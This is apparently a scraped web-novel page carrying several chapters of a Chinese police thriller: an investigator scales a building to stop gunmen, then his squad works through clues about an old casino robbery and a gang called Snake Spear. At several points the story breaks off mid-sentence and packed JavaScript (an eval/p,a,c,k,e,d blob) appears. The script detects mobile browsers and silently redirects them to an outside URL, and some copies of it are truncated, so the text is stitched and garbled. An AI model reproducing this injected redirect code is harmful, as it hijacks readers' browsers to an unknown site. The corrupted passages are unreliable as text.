——每层共需四分种,他们马上会破解二楼密码,将登上三楼。 距离到达四层,还有不到五分钟。 可以做到。 00:05 程宥来到楼外,上下扫视自楼顶覆盖而下的层层藤曼,绿藤间垂直灌溉的旧管道隐约可见,他戴好战术手套,脚在墙角猛踢了一脚,掠起两米高,两只手齐出,瞬间攥紧金属管低端。 00:35 程宥在绿植间攀行,细金属管随着他极速升高簌簌颤抖,卡擦一声,脆弱接口承受不住力度,自中间崩断。在管道断成两截之时,他一只手臂陡然伸出,迅速揽住更上面一段,一只脚勾住绿植,另侧手脚同时在墙上一撑。战术手套和墙壁发出的摩擦音中,他窜上二楼窗沿。 00:36 警方驻守的房间空无一人,敞开房门尚在颤抖,便衣们冲入通道。 00:42 电梯无反应。 00:53 楼梯门被从内反锁。 00:53 警务终端向卫其宏发来警告:楼梯间可能有炸弹。 01:14 断裂声不绝于耳,水管在力道冲击下根根崩折,细藤因蹬踏大片剥落;程宥总在间不容发的一隙,从纷纷坠落的管道和绿植间跃上,每次落脚都是险之又险,却总找到下个着力点。 01:35 抵达二楼 01:42 他腰间警务终端开始震动,刺耳的警报声在建筑物内骤然响起。 01:59 攀入三楼 02:15 摩擦声的节奏异常分明,整簇藤曼自顶楼被扯脱,和金属管绞在一起,直直堕下。 2:28 程宥双手扣上五楼边缘,双足齐踹墙壁,衣角飒飒翻飞。 2:30 他一个鹞子翻身,跃上顶楼。 午后的空中花园各位宁静,阳光透过半透明的玻璃穹顶洒落进来,各色花卉错落排布,氤氲着混合的芬芳。 中央泳池边,一对老年夫妇在刺耳的警报中面露惊疑,突然就见从楼下嗖的甩上来一个人,同时吓了一大跳。 老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然来人棕色眼镜已经不见,露出一双深灰色的眸子,然而她还是一眼就认出,这就是刚刚在大厅里与自己擦肩而过的程警官。 她下意识回头,看向自己的上司从文件里抬起头,脸上露出意外的神情,随即奇特难辨。 门外,轻重不一的脚步声正沿着长廊自远而近。 程宥双指并拢,向她身后的书架一指,指示她退后,同时左手伸出,向律师方向上下压了压,示意他保持原位,然后一个箭步贴上门边墙壁。 付助理明白了,她的脸孔瞬间泛白,喉咙动了动,随着他手指方向,慢慢挪后,忽觉手中一空,茶壶已被程宥劈手夺走。 脚步声在门外停下。 下一秒,门锁咔嗒一响,随即被猛然踹开,黑洞洞的枪口直接捅入,来人不做任何观察,举枪就要扫射。 就在这时,一道黑影蓦地窜入半空。猝不及防之下,他本能枪口抬高,哒哒哒哒哒哒,火蛇喷吐,一串子弹直击中黑影。 滚烫液体溅上脸。 枪手一愣,就在这一瞬,突觉手腕猛然一震,清脆的骨折伴随猝然炸裂的碎瓷声同时响起,枪已自手中脱出。程宥夺过冲锋枪,枪托倒转,猛砸向来人太阳穴。来人甚至来不及发出一声惨叫,便软软倒下。 他后面的人被突然变故惊得一愣,刚要举枪。程宥就势矮身,肩膀一沉,枪柄似矛,自下而上重重戳中他下颌,其人还不曾扣下扳机,就觉下颌猛然被一股巨力击中,大脑刹那昏眩,牙齿崩碎的闷响里 ,他白眼一翻向后就倒。 门外余下两名枪手立刻散开,正欲开火。程宥膝盖微弯,整个人似游鱼一般,从将要仰倒枪手的背后平平滑出,趁左边枪手一瞬犹豫之时,横出一脚扫中其膝窝,这人只觉腿上一软,不由自主跪倒,而他反应极快,忍痛就要举手还击。 电光石火间,程宥从侧向一把揪住枪杆,向下扣去,枪口霎那压向地面。 砰砰砰—— 一串子弹打入了地毯。程宥双腿齐出,铁钳般绞上男人颈部,一个翻滚将他彻底掼倒在地,来人一声不吭,扑通昏倒。 一切发生得太快,最后一名枪手才反应过来,然而劲风扑面,一柄冲锋枪迎面砸来,他只觉眼前一黑,脸上被拍个正着,他踉跄后退,猛觉胸口一窒,却是程宥早到身前,一记膝撞正中他前胸,接着重重一掌劈上颈部。 5分钟。 21. 我不记得你 高尚桢赶来的时候,程宥正靠在一辆警车上喝矿泉水。他在卡车旁捡起了自己的公文包,可惜眼镜已不知去向。此时更多的警车和装甲反应车呼啸而至,□□处理小组正准备进入西翼进行处置,乱糟糟的环境里,找回眼镜的希望更加渺茫,他开始思考怎么在报告里描述该物品丢失的前后经过。 高尚桢被接管现场的拆弹小组赶出楼。他走到安全距离外,抱着手臂开始打量楼宇外观,尤其是剥落的绿藤和多年后终于露出真容的外墙。 他想起秘书引导他们参观这座莞荟苑时,曾大夸特夸他们的安保系统怎么先进,什么楼顶设有红外线感应装置,每隔三分钟会扫描一次外墙,以防有人攀登;然后每层的电梯和楼梯都需要不同密码,监视器二十四小时保持运行…… 结果呢?劫匪采用物理+科技手段,先人为屏蔽西侧大门的监控,然后黑进系统,进入楼中,逐层破解每层电梯密码,还在各层楼梯间都安置了小型炸弹,成功到达四楼,前后用时有没有十五分钟? 当然,还有人更夸张,三分钟内徒手从地面攀到楼顶,连红外线警戒都没触发,又用了一个两分钟从天而降,将持枪悍匪全部生擒。 ……其实我当时就感觉那个秘书在吹牛。 他脑中的小剧场正回放到这里,有警察上前请示进一步行动。 短短几句交谈后,高尚桢从他手里接过一个纸袋,走到警车旁将纸袋交给程宥。后者打开袋子,看到自己的棕色眼镜完好无缺,抬头向他笑了笑,掏出软布擦去灰尘,仔细戴好。 高尚桢双手插进口袋,看到那对深灰眼眸重新被有色镜片遮住。 “又没有度数,”他下意识的嘀咕起来,“难道为了保护视力? “谢谢,”程宥收起镜布,平静的回答,“为了保护视力。” ……他倒是从不说谎。 意识到这个事实的高尚桢叹了口气,他揉了揉隐隐作痛的太阳穴,侧过身和他并排靠在闪着□□的警车上,看拆弹小组进进出出,“反应很快啊。”他评论道。 程宥没有回答,他无法判断这句话的主语指向,幸好交谈对象早就预料到他的反应,“我是这帮袭击者,你怎么看?” 程宥快速梳理一下目前线索,"炸弹高概率是民用改装的C4,楼内四个人战术配合熟练,火力配置适当……” “停停,”高尚桢寻思怎么又是这一套,速速摆手打断他,“我是说对袭击者这么快到这里你怎么看?” 程宥沉吟一瞬,“目前不处于交通高峰阶段,所以很快到达。” 高尚桢:…… “知道了。”高尚桢又叹了口气,深深感到自程宥从天而降加入调查组后,自己这气息一天比一天虚,每天不吐个两三回都熬不过去。 他抱着手臂看着卫其宏在和几个便衣交谈,突然有点感慨。“SWAT最适合你,程宥,下次换这个身份试试,普通警察你不太行。” 程宥侧过头盯着他看,盯了几秒才面无表情的开口,又是一个几乎标准的,毫无瑕疵的回答:“我目前是警务人员。” 眼神有点变硬了啊,哈,怎么?说你不适合当警察不高兴了? “很好。”不知怎么的,高尚桢突然高兴起来,四周警铃嘈杂,不住有警员和急救人员匆匆跑过,他跟认识的一个防爆组成员挥挥手,看到对方一脸紧张,感触更甚,“幸好机械降神了。” “这句话是说,”出乎意料的,程宥开始纠正高组长的错误用词,“在没有合理铺垫情况下,戏剧或小说的作者突然安排一个奇迹般的转折。” 他拍掉袖子后蹭上的尘土,公正的下了定论:“保护证人在职责范围内,不是奇迹,不符合机械降神的定义。” ……果然生气了。 高尚桢无言的看着他,张了张嘴,突然笑了,积攒许久的压力与郁闷在这一刻烟消云散。 他伸手拉直程宥肩头的皱褶,“知道了,神。” 程宥瞅了瞅自己西装的肩部,又瞅瞅他。 这应该是个玩笑。他想,但是为什么省略了“机械降”三个字?" 不等他深入思考,高尚桢的问题又密密续上了,“上次潜入警局那个家伙,是不是你们的人?” “不是。”程宥立刻转换思维,“表面类似,但本质完全不同。” 这时卫其宏气喘吁吁的跑过来,“组长,组长!”他声音拔高,“你讲得对!真神了你!便衣里有问题!今天值班的老梁,就是清沙分局借调来的那个,他没来!海子他们三缺一,拉了调查官打牌……”正在兴奋,忽然发现程宥就在他旁边,瞬间背后一寒,声音不由自主的低了下去。 “好。”高尚桢点头,飞快的下了命令,“你接着查这个老梁。看这帮家伙的架势,肯定有后手,起码有个黑客还在外面,现在几名匪徒都送到医院,告诉各个分局多加派人手,务必可靠,立即封锁犯人所在区域,不准无关人员进出,尤其要留心医护和清洁工,上次纪念医院的事绝不能再发生!我这边处理完马上过去。” “是!”卫其宏刷的敬了个礼,转身抛开。高尚桢看看程宥,“我们去看看大律师怎么样了。” 程宥放下水瓶,系好领带,“他和助理都没有受伤,我已经确认过。” 高尚桢挠挠后脑勺,颇为无奈,“你不懂……”他还想说什么,很快放弃了,干脆直接下令:“总之跟我来。” 程宥应声而起,“好。”然后与他一起向最近的救护车走去。 调查官程宥所到之处,无论是制服警员,还是便衣警察,都纷纷停止手上动作,脊背挺直,退后两步,为他让行。 林律奚坐在急救车后车厢里,刘律师正神情激动的在激辩,高尚桢不用听,就能猜到对方正在拼命诋毁红驼城,劝林家少爷明天就回赛因港,再看付助理站在一旁,低着头跟个鹌鹑似的,夹在两位律师合伙人之间的滋味显然不好受。 见林律奚一言不发,刘律师还想继续劝,忽然看到高程两人到来,立刻闭嘴,面色僵硬的打个招呼,想怒又想感谢,情绪大概处于“怎么犯人这么快就来”和“警方反应还挺迅速”的两难间。 高尚桢向他点点头,转头看向真正的当事人,“没事吧,林律师。” 林律奚依旧像块完美的坚冰,神色从容,声音冷淡:“我很好。” “那就好。”高尚桢点点头,抬腕看表,“我赶时间,还得去医院盯着那帮匪徒,所以林律师,对这伙人你有没有什么线索可以提供?” 林律奚看着他,一动不动。 “你没有吗?”高尚桢自顾自继续,“我有。我觉得这伙匪徒和八年前犯下银脊劫案的是同一伙人。” 林律奚放在膝盖的手指微微抽紧,旁边刘律师短促的啊了一声,这仿佛提醒了林律奚似的,他朝这个方向投过一眼,面色重归平静。 “我没什么可说的,高警官。”他回应道,声线有点发涩,却坚定。 高尚桢并不恼火,他只无奈摇头,“我们已经尽力了,林律师。但是有时候很多事情是人力不能控制的,就像今天——”他拉长声音,然后向杜蒙面色各异的三人笑了笑,拍了拍程宥的肩,示意可以走了。 两人刚转身,林律奚忽然主动叫住了他们,“等等,”他目光略过高尚桢,定定看住稍后的程宥,喉结滚动数下,艰难开口:“程……程警官,我们是不是见过?” 程宥与他对视一瞬,棕色镜片后的眼神一派平静,“我不记得你。” 林律奚垂下视线,微微笑了下。 他没有再说话。 高尚桢看看林律奚,又看看程宥,太阳穴更疼了。 "走吧。"他轻声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她将几张打印出来的口供报告递给高尚桢,“梁警官的妻弟叫张昌平,据他交代:这伙人大约三个月前突然出现在红驼,对做武器走私一类很感兴趣,为此和他搭上了线。” “走私?一共几个人?”高尚桢皱眉,“缉私组那边知道情况吗?” “大概七八个人左右,缉私组还不知道他们。”盛苒摇头,咳嗽了几声,“张昌平说这伙人非常低调,而且一直处于打探情况做准备的阶段,他对他们也了解不多,就感觉出手非常大方,行事也很利落,他无意中听过几人对话,好像是从东部过来的。” “七八个人?东部?”高尚桢重复了一句,“真实姓名不知道?” “张昌平说,平时都是对方主动联系他,他只知道对方彼此称呼外号,他就见过三个人。”她低下头,“我已经让他认过照片,他说这里面三个人分别叫做黑卡,烫石和火炉。” “只有三个?其他几个人呢?” 盛苒摇头,“他没见过,”看着高组长微露失望的眼神,又补充一句,“不过他无意中听过称呼他们的老大,叫牙。” “牙?”高尚桢重复着这个名字。 视频那端的黑夏川,此时已是凌晨一点半,界至野被老大从床上抓起来开会,本来上下眼皮直打架,听到这个名字,身体突然挺直,眼睛瞪得溜圆:“等等,老大,我好像听过这个名字!” 剧烈晃动的手机视频里,界至野也不顾自己穿个大花裤衩被同事看到,跳下沙发去外套里掏出本子猛翻一通,一遍翻一边嚷嚷:“就是这个人,对,牙!我不是报告说查到这边有个团伙42年消失的,叫蛇矛吗?今天我又去找了老鬼头,他想起了里面几个名字,其中有个就叫牙!老大我都写报告里了,敢情你没看啊!” 22. 后知与后觉 关于银脊劫案和相关团伙的调查报告 界至野 书面报告 存档用 10月28日,我到了监狱(买了五日地铁卡,收据在后面),这个监狱叫红皮子监狱,里面关的都是重案犯。六年前南部开始联区安全扫荡,打击了一些□□团伙,里面有个销赃组织很厉害,经手的都是烫货,这伙人也被抓住了,关在红皮子监狱里的是他们的军师,名叫劳归,六十多岁,大家都叫他老鬼头,我在监狱见到了他,可是他怎么也不说话,我脚疼,就回旅馆了,监狱方面送我的,没用上卡。 10月29 日,我又去监狱找老鬼头,可是他就不开口,我脚还疼,不能坐地铁了,就打车去的,车费很贵(请报销),地铁卡退不了。 10月30日,我又去监狱找老鬼头,他不说话,我又白去一趟,哎。(可是打车费还是得报啊,车费比昨天少了不少,我觉得昨天可能被司机绕道了。) 10月31日,我给老鬼头买了一条好烟(收据贴在背面,和打车费一起报了啊)。老鬼头很高兴,主动开口了。他说38年-42年间,黑夏川突然冒出一伙很厉害的人,十几个,叫做蛇矛(还是蛇茅?),非常厉害,狙击爆破近身格斗都非常特别的精通,总之都是专家,和普通团伙完全不一样,而且他们的货都很烫手,一般销赃的接不下,只有他们能行,他说明天再给他拿瓶酒他就继续说,我就回去买酒了。 11月1日,酒买到了(收据丢了,照个酒的照片,请按市面价报销,还有打车费),老鬼头很高兴,他接着说,说他跟蛇矛那伙人非常谨慎,行动和普通劫匪完全不同,他说可能是退伍的,那阵子战争刚结束,据说当时老乱了,我拿出白行人和宫达良照片,他说想不起来了,只和里面两个人打交道多,但都不是真名,一个脸挺圆,叫老虎还有一个人叫什么,他要想一想。我觉得他是想卡我,我就跟他说,后天我就走了,明天是最后一天。 11月2日,我买了两条烟和两瓶酒(收据都在后面),跟老鬼头说要看他配合情况。老鬼头很配合,他问宫达良是不是外国人,隆南那边的,他说他见过两三次,口音很怪,印象很深,他觉得可能是外国人,然后说他想起来另外一个人叫什么了,叫牙。我让他画像,他说看照片能认出来,可口头说不清楚。据他交代,蛇茅出现得很突然,消失得也很突然,42年1月,突然就没影了,他能记得这么清楚,是因为老虎在41年11月联系他,问他们能不能吃下一批钻石,都是顶货,够分量,东西会在42年1月到手。老鬼头觉得这个生意很大,他做完就可以金盆洗手,就花了很大力气联系好了买家。蛇茅那边41年12月还跟他确认过,但是42年1月份的时候就消失了,从此再也没有见过。老鬼头觉得他们肯定是出事了。对了,蛇茅人人都有纹身,是那种数字的,I,II,III这样。 界至野的报告一向让高尚桢头疼,罗里吧嗦没个重点,整天报销报销,每次不改个三五回别想过关,昨天报告发来时,他正在出现场,根本顾不上看,结果到了会上才发现自己居然漏掉这么重要一条线索。 ——案子结束后,得让界至野上个写作训练班;还有他那些收据,我怎么跟会计那边说,上次小报告都打到署长那儿去了。 ——医院那头的审讯还得交给盛苒,她年假向后推一推吧。 高尚桢在床上跟摊煎饼的,翻来覆去凌晨四点还没睡着,好不容易坠入梦乡,最后一线思绪还是落在了调查官身上。 ——程宥……林律奚见到他情绪挺激动啊,嗯,又被救了,也难怪他激动,不对,不止,他好像对程宥……行了,别想这个了。 ——……问题是我们这边,我怎么能让程宥配合呢,这样这案子不就很快结了嘛。 ——程宥……配不了合…… ——……算了,别逼他了。 ——盛苒这年假还是不能休,睡了,睡……了…… 显然这晚对整个刑事组都是个不眠之夜,第二天虽然八点全员准时集合,但是人人脸上都顶着黑眼圈,即使卫其宏很贴心的买来双倍加浓大号咖啡也不怎么管用。 高尚桢脑子也有点浑,他看了眼会议室中唯一精神奕奕的人,对方依然安静的坐在贴近门口的位置,虽然面前是一杯热气腾腾的加浓咖啡,他却还是握着他的矿泉水瓶。 ——戴眼镜是为了保护视力,拿水瓶干什么?保持手部敏感度?这就是特种部队的特殊训练方法? 高组长收回视线,一口气灌下大半杯咖啡,拍拍巴掌,将大家的注意力集中到自己这里来,“我知道大家都很辛苦,这样,等界至野回来我们去吃顿饭,我请客。”他看一眼程宥,“调查官必须到,算接风了。” 卫其宏暗自腹诽:人家九月二十八到的,现在都十一月了。组长你才想起来接风。 ……腹诽归腹诽,他还是很给面子的和大家一起鼓掌造气氛。 高尚桢不管大家心里怎么吐槽,下一句就直入主题:“昨天莞荟苑突然袭击,大致经过和涉案人员都搞清楚了,五名歹徒目前都在医院里,这些人肯定是硬骨头,不好啃,盛苒交给你了。” 盛苒点头。 高尚桢起身,手撑桌面,“这几天发生的事确实比较多,也比较乱,好在我们现在已经有了不少线索,我们根据目前已知情况,再重新梳理一下案情经过。”说着拉过第二块白板,上面开头依然是: 41年南部联区团伙A (包括白行人,宫达良,其余人数不知,以罗马数字刺青为特征) 他拿起白板擦点了点团伙A,“根据老鬼头的证词,这个团伙A,既有宫达良,也有牙,人均有刺青,消失时间也对得上,所以我们可以肯定这就是蛇矛,大家同意吗?” 刑警们齐齐点头,高尚桢擦去这行字,更新了新的线索。 (1) 42年黑夏川 蛇矛共有十几人,包括白行人,宫达良,牙,以罗马数字刺青为特征,42年1月突然销声匿迹。 他目光落上第二行字,点了点上面齐晴和李延的人名,“这回可以肯定了。”说着把可能和括号都去掉,于是下面线索变成了—— (2) 42年1月银脊赌场被劫,赌场老板周乐天去世(手表丢失),方楚受伤,其余人,林律奚,齐晴,言行诺,李延,索骁被带走(是否有赌场其他客人待调查) 这时卫其宏率先举手提问,“组长,这个被蛇矛抓走是怎么回事? 高尚桢看他和安月见都一脸茫然,突然意识到这两个人昨天不在,都还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652191|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没听过盛苒发回来的最新录音记录。 ……果然总熬夜不行,脑子容易成糨糊。 他暗暗发感概,正色回答:“这次对方楚的取证很成功,他说出了很多内情,你们听听看,注意保持冷静。”说着示意盛苒播放录音。 尽管有了组长的提醒,但是方楚的讲述还是让安月见还是低下头去,卫其宏则仰头看着天花板,心里一遍遍的痛骂这帮孙子。 等录音结束后,他们看到白板上又被补充了新的信息。 (3) 42年1月中旬(推测14-15日)被特种部队解救,该事实与白行人腿部特种子弹吻合。注:疑似朗基努斯之枪 卫其宏收拾好心情,读着注释,扭头看桌对面的组长:“这个特种部队的信息是不是要核实一下?方楚自己也不怎么肯定。” 高尚桢慢慢摇头,“不,我很肯定。”他转向程宥,“程宥,你的意见怎么样?” 大约有五秒钟,程宥没有任何反应,就在他以为不会得到回答的时候,后者目光从白板上收回,点了点头,“肯定。” 会议室里霎那陷入寂静。 卫其宏终于后知后觉的反应过来了,他只感到自己脖颈后簌簌直冒凉气,小心瞄了一眼调查官,脑子里只有我X我X我X我X我X一排小字连续霸屏,除此之外全是空白。 他木木的去看组长,见他神色如常,再瞅瞅右边的盛姐,怎么回事好像也很镇定,蓦的悲从中来:就我最笨,反应这么慢……正在自怨自艾,余光忽觑到左边的安月见眼睛正眨巴眨巴的等下文,显然完全没有领会个中奥秘,一颗心霎那就放了下来:原来我不是最傻的那个! 安月见其实有点明白,但是更多的是不明白,她看到卫师兄先震惊,后难过,最后又高兴的模样,那点原本的明白也都变成了不明白。 反正界大哥马上就回来,卫师兄肯定会跟他讲,我悄悄听就行了。她狡猾的想。 高尚桢可不管他们的小心思,实际上程宥这么坦率也让他有点惊讶,不过他并没有表现出来,而是和组员们一起继续往下捋线索。 (4) 42年5月齐晴转入苍都第三病院; 6月方楚转学,李延有出境记录,索骁不知去向 (5) 50年9月14 日废炼油厂白行人死亡 (6) 50年9月28日,旧车回收站,宫达良林律奚被目击在场 (7) 50年 10月X日有人潜入警局,挖走宫达良刺青 (身份不详) (8) 50年 10月X日杜蒙办公室林律奚被刺 (9)50年 10月X日长罗田光受到袭击 (10)50 年 10月X 日纪念医院有人假冒医生欲袭击林律奚 (和潜入警局的不是一个人) (11)50年 10月X 日林律奚转院狙击手袭击,保镖死亡 (目前无线索) (12)50年 11月3日林律奚在莞荟苑受到袭击,五名歹徒被抓捕,头目牙和其他疑犯在逃,疑似前蛇矛成员(等待匪徒口供进一步确认) 比起之前,这块白板上信息详实了一些,但是高尚桢仍旧很不满意。 “来,大家头脑风暴一下。”他转动着记号笔,“说说你们的想法吧。” 23. 给力的支援 说说你们的想法吧。 果不其然,卫其宏又是第一个响应。 “组长!”他迫不及待的跳了出来,“我有问题!为什么蛇矛还要袭击林律奚,这都隔了八年了!” “问得好。”高尚桢点头,回头在白板空白一侧,写下“问题”两字,然后重起一行,像之前列时间线索那样,将问题列了上去。 问题1:为什么蛇矛(?)要继续攻击林律奚? 卫其宏看着那个“?”号,有点奇怪,“组长你觉得他们不是蛇矛?” 高尚桢坦率摇头,“目前不确定,起码医院那五名匪徒不是。他们身上没有罗马数字纹身,我检查过了。” “不过……”他沉吟了一下,“没有落网的另外成员,包括牙在内,很有可能是,这个得靠盛苒去审他们了。”他面向组员们,“大家来讨论这个问题,为什么蛇矛要袭击林律奚?” 盛苒思索着开口,“这伙人可能是蛇矛的外围,也可能是后来吸收的成员,他们在红驼最近连死了两个人,白行人和宫达良,而且林律奚还出现宫达良的死亡现场,会不会蛇矛觉得他是帮手,因此采取报复行动?” 安月见目光一闪,小声说,“那个凶手会不会就是索骁?不都说他们关系很好吗?” 盛苒微微点头,“很有可能,但是不要忘了,当年他们这群人里,还有李延还没有线索。” 卫其宏在旁突然补了一句,“言行诺的尸体没有找到不是吗?也不能就说一定死了。” ——这一瞬间他脑子里掠过了无数本格推理。 高尚桢点头,又写下第二个问题。 问题2:谁杀害了白行人和宫达良?索骁?李延?言行诺(目前判定死亡)? 卫其宏思维跳啊跳啊跳,“假设哈,就是索骁杀了这两个人,然后惹来这个牙带着一□□,没找到他,那就找林律奚也行,这个好像也说得通。不过还是很奇怪,八年了,这两个人一直都在国外对吧,干嘛突然跑红驼来给人杀?” 说到这里他突然哑了一下,想起之前组长抛出的那个问题:为什么是红驼? 为什么偏偏是红驼? 高尚桢点头同意,回身写下第三个问题。 问题3:蛇矛两名成员,白行人和宫达良抵达红驼,然后被杀,为什么会是红驼? 他在红驼两个字上画了个圈。 安月见这时像想起来什么,接着开口,“林律奚也有点奇怪呀,他不是一直在赛因港的律所那边,怎么恰好也来了?” 卫其宏被她提醒得眼前一亮,翻了翻本子,“对了,他九月十四号来的,白行人当天死的,太巧合了也,他是不是知道白行人会被杀?” ——单纯巧合吗? ——还是…… 这个问题没人能回答,哪怕大家都知道这位林律师的问题很大,是锁紧一切秘密的铁锁,可是没有钥匙就是打不开这把锁。 ……钥匙? 高尚桢看了眼程宥,见他坐在原地,一如既往的缄默,决定不能这么轻易放过他,“程宥,来,说说你的看法。你怎么想?” 程宥被他点名,难得的移动一下身体,幅度很小,不过总算看起来不像个石雕了。 “你们分析得很好。”他看向高尚桢,很认真的表扬:“逻辑分析能力很强,推进很快。” ……又来了,谁让你说这个了。 ……不过说得很好。 不知怎么的,高尚桢还是忍不住笑了一下,“谢谢。我是你对案情怎么看?” 程宥沉默了一秒,“我和大家保持一致意见,另外,有一件事我能肯定。”矿泉水瓶在他手中慢慢转动,“言行诺确实已经去世,可以把他的名字从你们的嫌疑名单里划掉。” 卫其宏瞪圆了眼睛,就想问你怎么知道,然而下一秒他就看到组长毫不迟疑就擦掉了言行诺的名字,也马上想到了这位调查官可能的身份……于是他闭嘴了。 高尚桢丢掉笔,指了指列在白板上的问题,“这几个问题是主干。要是能够回答这些问题,我们也就能搞清楚整件事情的来龙去脉,凶手的身份也就确定了,大家要围绕着这个方面去查。” 他当然知道还有更多的问题亟待回答,比方说,为什么白行人的案子会被列为绝密?潜进警局挖走宫达良纹身的目的是什么?索骁在哪里? 还有,他瞟了一眼程宥,后者又恢复成那种不动如山的姿态。 为什么你会来? 然而高尚桢很明智的没有继续挖下去。 ——有些问题随着案件破解,会自然而然有回答;有些问题可能永远不会有回答。 ——我是一名警察,天职是破案,逮捕凶手归案。其他与我无关。 ——哪怕涉及到最高级别的秘密。 在会议即将结束之时,安月见举手,说对赌场老板周乐天丢失的手表一事,失物专案组那边取得了一定线索。 卫其宏一个早上虎躯连震两回,“不是吧,他们真查到了?” 安月见点点头,“是的,他们查到了这块表年初曾在一个暗网上挂了几天。”说着将一张网页截图投放在白幕上。 上面是一张裁得很窄的手表照片,只留表盘的正面特写虽然像素不算高,但是放大之后还是可以看到蓝色刻度以及秒针尾部的金点,只是表盘底部从六点刻度之下被刻意遮住了。 在场的警官们都知道那排小字是什么——妻云云赠乐天。 帖子里只有很短的一句:私下询价,信任者私聊,C。 她补充道:“失物组的同事们已经比较过了,完全契合,就是周家丢的那块表。” 啊?真是狗屎运哪!不是,幸运小精灵的BUFF啊! 卫其宏精神大振,“失物组行啊!他们居然这么厉害,哇撒,这水平!以前怎么没看出来!”惊叹过后,随后就是连珠炮的发问,“他们怎么找到的?什么时候找到的?在哪里找到的?现在表哪?这个卖表的抓住了吗?” 安月见也算习惯了这位仁兄的风格,也不像刚到警局时被他问得发慌,开始逐条回答他的问题,“失窃组在暗网上的一个买卖小组里发现的这张照片,年初时候被挂上去,不到半个月就被撤下,后来他们从数据缓存调取了出来。” 卫其宏曾在信息处工作过段日子,听了不免一愣,“照片在暗网上被撤,这还能找到缓存?” 安月见不太理解他的话,只能复述:“他们说什么数据库DUMP什么的,可能是找到了吧。” 卫其宏更稀奇了,“数据库DUMP?暗网?这得黑进服务器才能拿到,怎么可能……" 他还想追问,被组长淡淡瞟来一眼,立刻福至心灵,马上切换问题:“年初?那都很早了,希望赶紧查到卖主在哪,让我们接手。” 安月见摇头,“失窃组那边说,他们已经查到了卖家地址,就在我们西北联区内的河轻市,他们今天就去抓人。” “啊?”卫其宏今天嘴巴就没闭上过,“这么快!”他马上反应过来,差点跳起来,“为什么是他们去抓?这都涉及到刑事案件了,就不该归他们管!不对不对,他们一帮搞信息的,什么时候能出现场抓人?” 安月见到底经验不足,不太明白各个调查组如何协调运作,满脸问号:“不该他们管吗?可他们说会把相关情报给我们,让我回去等。” “不管是哪一方找到这个卖家,最终情报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我能说啥。”界至野伸手要去摸烟,想起自己正坐在真皮座椅里,又把这个念头打消了,只能反复搓手指,“难怪了,我就说上面明明答应不再派调查官了,突然就从天上掉下来一个,当时我就觉得不对;然后上次林律奚转院那个车都开出那么远了,马上看不见了,就一枪啊,直接把轮胎干崩,我当时就知道不是一般人哪。估计老大也吓一跳……不对。” 他马上纠正自己,“老大开了天眼,肯定早知道了。” “我也觉得他知道。”卫其宏附和,“难怪呢。你还记得上次那个调查官乱来吧,他最后不是把人都直接撵走了嘛,其实我还想过这回组长态度怎么这么好呢,当时还想可能因为这回来的人吧,很安静,不搞事,所以组长忍了,真是万万没想到。”说着委屈起来,“也不告诉我们一声……” 界至野嘿嘿一乐,“老大有他的打算,你就别嘀咕了。对了,那伙歹徒怎么样了?” “盛姐在问呢,放心吧,盛姐出马,他们迟早得交代。”卫其宏简单讲了几句案件进展,又告诉他周家的表找到了这件事。 界至野曾在黑夏川亲手为周乐天陵墓拔去荒草,对周家表的下落不免多了几分关心,追问几句后也感觉奇怪,“失窃组那帮家伙还有这个本事?难道上次被署长点名骂了一通,真上进了这是?” 卫其宏总算得机会一吐心声,“我觉得不是,拿下暗网DUMP啊,那得是什么水平,我看八成也跟调查官脱不了关系,那可是朗基努斯之枪啊!” 界至野听不懂他在说什么东东,不过不妨碍他跟着不懂装懂,“对,对,都是枪!那个卖表的人抓到了?怎么电话里没听你提?” “抓到个鬼!”提起这个事卫其宏就郁闷,直接爆粗口,“人一月份就死了!不止啊,就我刚才开车来机场接你之前,前台送来个快递,你知道里面是什么不?” “照片,那个手表的高清照片!快递上写着组长的名,直接送局里来了!” 24. 第一件快递 快递包装和照片都已被鉴证组拿走取证,留给高尚桢的只有一张放大的照片复印件。 照片上是一款拍得极其高清的手表,连深棕色表带上的划痕也纤毫毕现;表盘上花体小字虽然难辨,不过不用看也知道上面些什么:妻云云. 赠乐天。 高尚桢抱着手,盯着这张照片看了很久。 到目前为止,所有关于银脊赌场劫案的信息都属于“过去”,刑事组的工作也在不断挖掘过去,拼凑真相,他们常常感觉自己在翻阅一本过去的故事书。 而今天,这张照片如此突兀的出现了,仿佛从“过去”里延申出了一座桥,搭上了他们所处的“现在”。 快递袋上收件人一栏指向是如此明了:红驼城刑事调查组高警官。 他的目光在红驼城三个字上长久停留,一股悸动突如其来,叩响了直觉之门。 ——我一直在想的那个问题。 ——为什么偏偏是红驼? ——也许答案就藏在这里面。 然而直觉固然珍贵,却不能为他带来证据,还有大量艰苦,琐碎又重复的的工作需要做。 比方眼下这桩。 高尚桢活动了下肩膀,又重新做回办公桌边,开始整理失窃组送来的(就算他们送来的吧)种种信息。 于此同时,一辆在高速公路上飞驰的红色吉普中,两位刑警也正在议论这块表。 